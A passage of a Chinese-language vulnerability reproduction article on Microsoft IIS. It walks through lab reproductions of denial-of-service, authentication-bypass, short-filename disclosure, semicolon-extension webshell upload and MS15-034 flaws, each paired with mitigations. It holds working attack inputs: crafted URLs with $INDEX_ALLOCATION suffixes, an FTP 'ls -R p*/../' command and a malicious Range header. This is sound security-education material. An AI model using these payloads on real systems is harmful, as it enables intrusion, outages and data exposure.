1. 配置 IIS 默认 wwwroot 根目录下的虚拟目录 _vti_bin 执行权限为“脚本和可执行文件”权限;

2. 浏览器发送恶意 url 远程访问靶机环境,复现成功,服务器返回 500 错误:

Eg:http://192.168.180.200/_vti_bin/.dll/%1f~0

1. 此漏洞仅在 IIS 5.1 版本存在,升级 IIS 版本或者更新 MS07-041 补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。

2.2 ( MS09-053 ) Microsoft IIS FTP 服务器递归列表拒绝服务漏洞 CVE-2009-2521

2.2.1 漏洞描述

IIS 5.0 至 7.0 版本的 FTP 服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符 ( 如星形标识符 ) 的请求导致拒绝服务(守护进程崩溃)。

2.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0

通过包含通配符的 list(ls)-R 命令在 Microsoft IIS FTP 服务器 5.0 到 7.0 中触发拒绝服务条件,即 ls "-R p*/../" 命令可导致 FTP 服务器拒绝服务。 此漏洞利用有三个条件:

(1)一个有效的 ftp 帐户,拥有只读或写入权限;

(2)“ FTP 发布”服务必须在启动类型中配置为“手动”模式;

(3)FTP 根目录下至少有一个目录。

1. 添加 FTP 服务器角色,IIS 信息服务管理控制台“ FTP 站点下”启动 FTP 默认站点

2. 配置 ftp 默认用户 anonymous/anonymous,拥有读写目录权限;

3. 目录下创建一个文件夹 BB,然后输入 ls "-R p*/../",成功复现 DOS 拒绝服务,ftp 连接关闭:

中间很多重复:

p*/../BB: BB

FTP 服务器提示“远程主机关闭连接”,FTP 拒绝服务,漏洞复现成功。

1. 此漏洞仅在 IIS 5.0-7.0 版本存在,升级 IIS 版本或者更新 MS09-053 补丁即可规避此漏洞;

3. 认证绕过漏洞

3.1IIS 认证绕过和源码泄露漏洞复现

3.1.1 漏洞描述

Microsoft IIS ( Internet Information Server ) 是 Microsoft Windows 系统默认自带的 Web 服务器软件,其中默认包含 FTP 服务。Microsoft IIS 中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。

3.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0、IIS 7.5

Microsoft IIS 由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:

(1)安装了 PHP 的 Microsoft IIS 6.0 身份验证绕过:

IIS / 6.0 加载受保护(如 :admin)目录中的 PHP 文件需要用户认证信息(用户名和密码访问),如果将“ :: $ INDEX_ALLOCATION ”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致 IIS 服务器重要信息泄露;

Eg:/admin::$INDEX_ALLOCATION/index.php

(2)Microsoft IIS 7.5 经典 ASP 身份验证绕过:

配置了经典 ASP 和 .NET Framework 4.0 的 Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION ”后缀附加到需要认证的请求目录名称后面,可以绕过经典的 ASP 文件访问限制;

Eg: 举例:/admin:$i30:$INDEX_ALLOCATION/index.asp

(3)Microsoft IIS 7.5 .NET 源代码公开和身份验证绕过:

在配置中安装了 PHP 的 Microsoft IIS / 7.5,存在认证绕过漏洞;

Eg:http:///admin:$i30:$INDEX_ALLOCATION/admin.php

除此之外,通过将 /.php 附加到 ASPX 文件(或使用未通过请求过滤规则阻止的 .NET 框架的任何其他文件,如错误配置:.CS,.VB 等文件)。IIS 7.5 使用文件的完整源代码进行响应,并将其作为 PHP 代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意 PHP 代码。

Eg: http:///Default.aspx/.php(php 任意代码执行)

· 漏洞类型:可远程利用,可触发认证绕过和信息泄露

复现环境:Windows 7 x64 位,默认 IIS 7.5

以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:

1.IIS 网站根目录下创建 admin 用户目录,关闭默认用户认证,换言之,访问 /admin/index.php 目录下的文件需要认证信息,认证失败或者无认证信息将会返回 401 未授权页面;

2. 配置完成后,重启 IIS 服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认 IIS 账户访问提示 401 未授权;

3. 接下来,利用 :$i30:$INDEX_ALLOCATION 来绕过此限制,浏览器远程访问:

http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;

4. 除此之外,如果目标站点限制上传和访问 php 文件,可以利用上传 aspx(.net 支持解析的文件类型)文件逃避限制,将其当做 php 代码执行;

Eg:网站目录下有一个 index.aspx 的文件,里面写有 php 代码,正常通过 http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx 访问此文件无法执行代码,通过在末尾加上 index.aspx/.php 形式访问将会成功执行 php 代码;

a. 正常绕过访问 index.aspx 文件,页面返回乱码,未执行 phpinfo 代码:

b. 通过在末尾加上 /.php,成功执行 php 代码:

1.IIS 7.5 配置 .NET Framework 2.0 不受上述 ( 2 ) 的绕过影响;

2. 攻击者需要事先获取 IIS 服务器受认证保护目录;

4. 信息泄露漏洞

4.1Microsoft IIS 短文件名泄露漏洞

4.1.1 漏洞描述

IIS 短文件名漏洞是由于 HTTP 请求中携带旧 DOS 8.3 名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在 Web 根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

4.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0-10.0 全系列版本

Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。基于 Windows 的 IIS 服务器默认根目录 C:inetpubwwwroot 下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用 HTTP 的 DEBUG、OPTIONS、GET、POST、HEAD、TRACE 等方法携带波浪号,可以对 IIS 服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。

· 漏洞类型:可远程利用,可触发信息泄露

1. 通过 cmd 下进入 IIS 网站根目录 C:inetpubwwwroot,输入“ dir /x ”查看已存在的短文件名:

2. 使用公开 POC 或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:

1. 限制 IIS 服务器 HTTP 方法,除了必要的 GET、POST 方法,其他 HTTP 方法建议关闭,视情况开启;

2.IIS 服务器文件建议使用复杂字符或者中文命名,增后期攻击者暴力破解难度;

3. 针对已存在的 IIS 服务器,建议关闭 NTFS 8.3 文件格式的支持或者修改注册表禁用短文件名功能。

注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html

5. 代码执行漏洞

5.1Microsoft IIS 畸形文件扩展名绕过安全限制漏洞 CVE-2009-4444

5.1.1 漏洞描述

IIS 服务器错误的执行了带有多个扩展名的文件中所包含的 ASP 代码。例如,malicious.asp;.jpg 被执行为了 ASP 文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。

5.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 6.0

此漏洞主要原因是 IIS 第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如 Asp webshell 伪装成 malicious.asp;.jpg 文件格式上传到 IIS 服务器。IIS 的 Classic ASP 功能在处理 asp 文件时,被此畸形文件格式的分号截断了,认为是 asp 文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此 webshell,控制 IIS 服务器甚至 Windows 宿主机器。

· 漏洞类型:可远程利用,文件上传绕过可触发代码执行

复现环境:Win server 2003 Sp2 32 位企业版,默认 IIS 6.0

1.IIS 服务器根目录下创建一个名为 aspwebshell.asp;.jpg 的文件,用记事本打开,放入 asp webshell 代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);

2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行 asp webshell 代码:

1. 严格限制 IIS 第三方应用上传文件的格式;

2. 此漏洞仅影响 IIS 6.0,其他版本解析 asp 文件不会被分号截断,可升级至无此漏洞的 IIS 版本。

5.2 ( MS15-034 ) Microsoft IIS 远程代码执行漏洞复现 CVE-2015-1635

5.2.1 漏洞描述

Microsoft Windows 是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于 Microsoft Windows 中的互联网基本服务。使用 Microsoft IIS 6.0 以上版本的 Microsoft Windows 的 HTTP 协议堆栈 ( HTTP.sys ) 中存在远程执行代码漏洞,该漏洞源于 HTTP.sys 文件没有正确分析经特殊设计的 HTTP 请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

5.2.2 漏洞分析和复现

· 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5

IIS 进程 w3wp.exe 接收到 HTTP 请求后,将数据缓存到内核中,并整合 HTTP 回应头,最后由 http.sys 组织数据包经由网络内核组件发送出去。请求中包括 Range 对象的指定范围,而缓存中则包含了 http 文件和大小信息等。

根据公开 POC,构造包含“ Range: bytes=0-18446744073709551615 ”的 HTTP 请求并发送到 IIS 7.5-8.5 服务器,如果 IIS 服务器返回“ Requested Range Not Satisfiable ”,则存在漏洞,如果返回“ The request has an invalid header name ”或者没有回应,则说明漏洞已经修补或者不存在漏洞。

· 漏洞类型:可远程利用,可触发代码执行

复现环境:Win server 2008 R2 64 位企业版,默认 IIS 7.5

1. 开启 IIS 默认网站

2. 根据公开 poc 发送包含特殊设计的 Range 字段攻击靶机环境,成功检测到漏洞:

1. 禁用 IIS 内核缓存,详情见微软官方公告:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034

2. 升级 IIS 至 IIS 10.0 版本,此版本不存在此漏洞。

三、漏洞总结

IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是 IIS 服务器,甚至可能是运行 IIS 的 Windows 主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。

如果 IIS 服务器的网站配置不当,攻击者可以通过 IIS 短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或 webshell 并伪装成合法的文件,进而导致 IIS 服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对 IIS 服务器甚至是 Windows 操作系统进行进一步的攻击。无论是对 IIS 服务器本身的服务还是该 IIS 服务器所处的网络环境,IIS 漏洞都是一个极大的隐患。